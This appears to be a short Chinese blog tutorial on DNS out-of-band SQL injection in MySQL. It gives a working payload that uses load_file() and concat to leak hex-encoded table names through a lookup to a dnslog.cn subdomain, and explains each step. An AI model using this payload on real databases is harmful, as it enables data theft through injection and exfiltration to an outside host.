跳至正文

DNS外带sql注入

select load_file(concat('//',(select hex(group_concat(table_name separator '_')) from  information_schema.tables where table_schema=database()),'.je5i3a.dnslog.cn/1.txt'));
  • load_file()函数加载文件,这个文件路径是通过域名解析的,域名是DNSlog生成的。当这条sql语句被执行后,会向域名服务器发起请求,DNSlog会记录解析的过程,select hex(group_concat(tablename separator '')) from information_schema.tables where table_schema=database()这个查表操作就被外带出来了,注意这里使用了十六进制编码,为了让所有字符串都能被外带出来。
  • 这里的 // 是因为在查询本地文件时候,需要在路径前面加两个斜杠。

参考:https://blog.csdn.net/weixin_54902210/article/details/124445385